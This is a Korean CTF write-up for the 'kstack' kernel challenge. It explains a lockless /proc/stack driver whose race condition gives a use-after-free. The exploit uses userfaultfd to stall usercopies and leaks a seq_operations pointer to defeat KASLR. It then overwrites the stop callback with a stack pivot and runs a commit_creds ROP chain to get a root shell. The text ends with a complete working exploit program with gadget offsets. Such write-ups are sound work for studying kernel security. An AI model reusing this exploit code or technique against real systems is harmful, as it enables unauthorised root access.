kstack

취약점 분석

1. 전역 연결 리스트에 대한 동기화 부재

/proc/stack은 모든 호출자가 공유하는 전역 변수 head를 단일 연결 리스트의 시작점으로 사용한다. 그러나 CMD_PUSH와 CMD_POP 어디에도 mutex나 spinlock 같은 동기화가 없다. owner에는 PID가 아니라 task_tgid_nr(current)가 저장되므로 같은 프로세스의 스레드는 모두 같은 owner 값을 가진다. 따라서 공격자는 메인 스레드와 userfaultfd 핸들러 스레드에서 같은 객체를 동시에 조작할 수 있다.

Element *head = NULL;
 
static long proc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    Element *tmp, *prev;
    int pid = task_tgid_nr(current);
    switch (cmd)
    {
    case CMD_PUSH:
        tmp = kmalloc(sizeof(Element), GFP_KERNEL);
        tmp->owner = pid;
        tmp->fd = head;
        head = tmp;
        /* ... */
        break;
 
    case CMD_POP:
        for (tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd)
        {
            if (tmp->owner == pid)
            {
                /* ... */
                kfree(tmp);
                break;
            }
        }
        break;
    }
    return 0;
}

이 경쟁 조건으로 다음 문제가 발생할 수 있다.

  • PUSH와 POP의 경쟁으로 해제된 객체에 대한 읽기 및 쓰기
  • 두 POP의 경쟁으로 동일 객체를 두 번 해제하는 double free
  • 두 PUSH의 경쟁으로 리스트 갱신이 유실되는 lost update

최종 익스플로잇은 첫 번째 경우를 이용해 커널 주소를 릭하고 함수 포인터를 덮어쓴다.

2. 사용자 메모리 접근 전 객체 공개로 인한 UAF

CMD_PUSH는 새 Element를 head에 연결한 다음 copy_from_user()를 수행한다. 사용자 주소에서 page fault가 발생하면 copy_from_user()는 sleep할 수 있다. 그동안 다른 스레드가 CMD_POP을 호출하면 아직 초기화되지 않은 tmp->value를 읽고 해당 객체를 해제할 수 있다. 이후 page fault가 해결되면 중단됐던 copy_from_user()가 재개되어 이미 해제된 tmp->value에 8바이트를 쓴다.

case CMD_PUSH:
    tmp = kmalloc(sizeof(Element), GFP_KERNEL);
    tmp->owner = pid;
    tmp->fd = head;
    head = tmp;
    if (copy_from_user((void *)&tmp->value, (void *)arg, sizeof(unsigned long)))
    {
        head = tmp->fd;
        kfree(tmp);
        return -EINVAL;
    }
    break;

CMD_POP도 copy_to_user()가 끝난 뒤 객체를 리스트에서 제거한다. 따라서 usercopy가 중단되는 동안 리스트에는 조작 가능한 객체가 계속 남아 있다.

case CMD_POP:
    for (tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd)
    {
        if (tmp->owner == pid)
        {
            if (copy_to_user((void *)arg, (void *)&tmp->value, sizeof(unsigned long)))
                return -EINVAL;
            if (prev)
                prev->fd = tmp->fd;
            else
                head = tmp->fd;
            kfree(tmp);
            break;
        }
        if (tmp->fd == NULL)
            return -EINVAL;
    }
    break;

x86-64에서 Element의 크기는 0x18바이트이므로 kmalloc-32 캐시에서 할당된다.

Element +0x00: owner
Element +0x08: value
Element +0x10: fd

struct seq_operations도 네 개의 함수 포인터로 구성된 0x20바이트 객체다.

seq_operations +0x00: start
seq_operations +0x08: stop
seq_operations +0x10: next
seq_operations +0x18: show

두 객체가 같은 slab 캐시를 사용하므로 해제된 seq_operations를 Element로 재할당하면 value 위치에서 stop 함수 포인터를 읽을 수 있다. 반대로 해제된 Element를 seq_operations로 재할당한 뒤 지연된 copy_from_user()를 재개하면 stop을 원하는 커널 주소로 덮어쓸 수 있다.

Exploit 과정

Step 1: userfaultfd로 copy_from_user() 중단

익명 페이지를 UFFDIO_REGISTER_MODE_MISSING으로 등록한다. 해당 페이지를 CMD_PUSH의 인자로 전달하면 커널은 Element를 리스트에 연결한 뒤 copy_from_user()에서 멈춘다. userfaultfd 핸들러는 이 시점에 별도 스레드에서 실행된다.

page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_uffd(page, 0x1000);
 
close(seq_fd);
kstack_push(page);

핸들러는 첫 page fault에서 CMD_POP을 호출한다. 두 스레드는 같은 TGID를 사용하므로 owner 검사를 통과한다.

if (uffd_cnt++ == 0)
{
    kstack_pop(&value);
    info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
}

Step 2: single_stop 릭과 KASLR 우회

/proc/self/stat을 열면 single_open()이 kmalloc-32에 seq_operations를 할당한다. 파일을 닫아 이를 해제한 직후 CMD_PUSH를 호출하면 LIFO 방식의 SLUB freelist에 의해 같은 청크가 Element로 재사용될 수 있다.

CMD_PUSH는 owner와 fd만 기록하고 value를 기록하기 전에 page fault로 중단된다. 따라서 Element.value에는 이전 seq_operations.stop, 즉 single_stop 주소가 남아 있다. 핸들러의 CMD_POP이 이 값을 사용자 공간의 value로 복사한다.

seq_fd = open("/proc/self/stat", O_RDONLY);
 
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_uffd(page, 0x1000);
 
close(seq_fd);
kstack_push(page);
 
kbase = value - 0x13be80;
info("kbase = 0x%lx", kbase);

사용한 커널에서 single_stop의 _text 기준 오프셋은 0x13be80이다. 릭한 주소에서 이를 빼면 KASLR이 적용된 커널 베이스를 구할 수 있다.

Step 3: 커널 심볼과 ROP 가젯 계산

커널 베이스에 정적 오프셋을 더해 권한 상승 함수, 커널 복귀 trampoline, 스택 피벗 가젯의 실제 주소를 계산한다.

pop_rdi = kbase + 0x34505;
mov_rdi_rax_rep_movsq_pop_rbp_ret = kbase + 0x1877f;
pop_rcx = kbase + 0x38af4;
swapgs_restore_regs_and_return_to_usermode = kbase + 0x600a34 + 22;
commit_creds = kbase + 0x69c10;
prepare_kernel_cred = kbase + 0x69e00;
mov_esp_0x5b000000_pop_r12_pop_rbp_ret = kbase + 0x256ee5;

mov esp, 0x5b000000; pop r12; pop rbp; ret 가젯은 커널의 RSP를 사용자 공간에 준비한 가짜 스택으로 옮긴다. SMEP는 사용자 공간의 코드를 커널 모드에서 실행하는 것만 막으므로, 사용자 페이지에서 ROP 주소를 읽어 커널 가젯만 실행하는 방식으로 우회할 수 있다. 실행 환경에는 SMAP이 활성화되어 있지 않아 커널이 이 사용자 페이지를 스택으로 읽을 수 있다.

Step 4: UAF write로 seq_operations.stop 덮어쓰기

첫 번째 fault가 해결된 페이지를 MADV_DONTNEED로 다시 비워 다음 접근에서 page fault가 발생하도록 만든다. UFFDIO_COPY 후에도 기존 userfaultfd 등록은 유지되므로 이 missing fault도 핸들러가 처리한다. 두 번째 CMD_PUSH가 copy_from_user()에서 멈추면 핸들러가 CMD_POP으로 현재 Element를 해제하고 곧바로 /proc/self/stat을 연다. 새 seq_operations가 방금 해제한 청크를 재사용한다.

madvise(page, 0x1000, MADV_DONTNEED);
register_uffd(page, 0x1000);
kstack_push(page);
else
{
    kstack_pop(&value);
    seq_fd = open("/proc/self/stat", O_RDONLY);
    info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
}

핸들러는 fault를 해결할 페이지의 첫 8바이트에 스택 피벗 가젯을 기록한다. 중단됐던 copy_from_user(&tmp->value, page, 8)가 재개되면 tmp는 이미 seq_operations가 되었으므로 오프셋 0x08의 stop 함수 포인터가 피벗 가젯으로 바뀐다.

memset((void *)uffdio_copy.src, 0, 0x1000);
if (uffd_cnt == 2)
{
    *(unsigned long *)uffdio_copy.src = mov_esp_0x5b000000_pop_r12_pop_rbp_ret;
}
uffdio_copy.dst = msg.arg.pagefault.address & ~0xfff;
uffdio_copy.len = 0x1000;
ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy);

Step 5: 가짜 스택과 권한 상승 ROP 체인 구성

스택 피벗의 목적지인 0x5b000000 주변을 매핑한다. memset()으로 전체 영역을 미리 fault-in하여 커널이 피벗한 직후 stack page fault로 double fault가 발생하지 않게 한다.

피벗 가젯의 pop r12; pop rbp; ret가 앞의 두 dummy를 소비한 뒤 ROP 체인이 시작된다. prepare_kernel_cred(0)의 반환값을 RDI로 옮겨 commit_creds()에 전달한다. rep movsq의 부작용을 막기 위해 RCX는 0으로 설정한다.

fake = mmap(0x5b000000 - 0x2000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x2000;
memset(fake-0x2000, 0, 0x10000);
 
unsigned long *rop = (unsigned long *)(fake);
int i = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax_rep_movsq_pop_rbp_ret;
rop[i++] = 0;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = &shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

swapgs_restore_regs_and_return_to_usermode + 22는 두 개의 dummy 값을 소비한 뒤 iretq 프레임을 사용해 사용자 공간의 shell()로 안전하게 복귀한다.

Step 6: 변조된 콜백 호출

seq_fd를 읽으면 seq_file 코드가 변조된 seq_operations.stop을 호출한다. 스택 피벗과 ROP 체인이 실행되어 현재 프로세스의 credential이 root로 변경되고, trampoline을 통해 shell()로 복귀한다.

save_user_state();
create_fake_stack();
read(seq_fd, page, 0x1000);

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
 
#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002
 
int fd, seq_fd;
int uffd_cnt = 0;
unsigned long value = 0;
void *page, *fake = NULL;
unsigned long kbase = 0;
unsigned long pop_rdi, mov_rdi_rax_rep_movsq_pop_rbp_ret, pop_rcx, mov_esp_0x5b000000_pop_r12_pop_rbp_ret;
unsigned long commit_creds, prepare_kernel_cred, swapgs_restore_regs_and_return_to_usermode;
unsigned long user_cs, user_ss, user_rflags, user_sp;
 
void kstack_push(unsigned long *value)
{
    ioctl(fd, CMD_PUSH, value);
}
 
void kstack_pop(unsigned long *value)
{
    ioctl(fd, CMD_POP, value);
}
 
void *uffd_handler(void *arg)
{
    while (1)
    {
        struct uffd_msg msg;
        ssize_t nread = read((int)(long)arg, &msg, sizeof(msg));
        if (nread == 0)
            break;
        else if (nread == -1)
            break;
 
        if (msg.event != UFFD_EVENT_PAGEFAULT)
            break;
 
        if (uffd_cnt++ == 0)
        {
            kstack_pop(&value);
            info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
        }
        else
        {
            kstack_pop(&value);
            seq_fd = open("/proc/self/stat", O_RDONLY);
            info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
        }
 
        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long)malloc(0x1000);
        memset((void *)uffdio_copy.src, 0, 0x1000);
        if (uffd_cnt == 2)
        {
            *(unsigned long *)uffdio_copy.src = mov_esp_0x5b000000_pop_r12_pop_rbp_ret; // overwrite seq_operations struct's stop
        }
        uffdio_copy.dst = msg.arg.pagefault.address & ~0xfff;
        uffdio_copy.len = 0x1000;
        uffdio_copy.mode = 0;
        ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy);
    }
}
 
int register_uffd(void *addr, size_t len)
{
    int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
 
    struct uffdio_api uffdio_api;
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    ioctl(uffd, UFFDIO_API, &uffdio_api);
 
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
 
    pthread_t uffd_thread;
    pthread_create(&uffd_thread, NULL, uffd_handler, (void *)(long)uffd);
    return uffd;
}
 
void save_user_state()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;");
    info("user state saved!");
}
 
void create_fake_stack()
{
    fake = mmap(0x5b000000 - 0x2000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x2000;
    memset(fake-0x2000, 0, 0x10000);
    info("fake stack mmaped at %p", fake);
 
    unsigned long *rop = (unsigned long *)(fake);
    int i = 0;
    rop[i++] = 0; // dummy
    rop[i++] = 0; // dummy
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = pop_rcx;
    rop[i++] = 0;
    rop[i++] = mov_rdi_rax_rep_movsq_pop_rbp_ret;
    rop[i++] = 0;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = &shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
}
 
int main()
{
    important("happy hacking!");
 
    pin_cpu(0);
 
    fd = open("/proc/stack", O_RDWR);
    if (fd < 0)
    {
        important("[-] open failed");
        return -1;
    }
    info("open /proc/stack success");
 
    // open seq_operations struct
    seq_fd = open("/proc/self/stat", O_RDONLY);
    info("open /proc/self/stat success");
 
    // leak kernel base address
    page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_uffd(page, 0x1000);
 
    close(seq_fd);
    info("close seq_fd");
    kstack_push(page); // -> this will trigger a page fault
 
    kbase = value - 0x13be80;
    info("kbase = 0x%lx", kbase);
 
    // calc gadgets address
    pop_rdi = kbase + 0x34505;
    mov_rdi_rax_rep_movsq_pop_rbp_ret = kbase + 0x1877f;
    pop_rcx = kbase + 0x38af4;
    swapgs_restore_regs_and_return_to_usermode = kbase + 0x600a34 + 22;
    commit_creds = kbase + 0x69c10;
    prepare_kernel_cred = kbase + 0x69e00;
    mov_esp_0x5b000000_pop_r12_pop_rbp_ret = kbase + 0x256ee5;
 
    // clean up
    for (int i = 0; i < 10; i++)
    {
        value = 0xdeadbeef;
        kstack_push(&value);
    }
 
    // uaf -> overwrite seq_operations struct's stop
    madvise(page, 0x1000, MADV_DONTNEED);
    register_uffd(page, 0x1000);
    kstack_push(page); // -> this will trigger a page fault
    info("overwrite seq_operations struct's stop");
 
    // trigger seq_operations struct's stop
    save_user_state();
    create_fake_stack();
    read(seq_fd, page, 0x1000); // -> this will trigger a page fault and execute the rop chain
 
    return 0;
}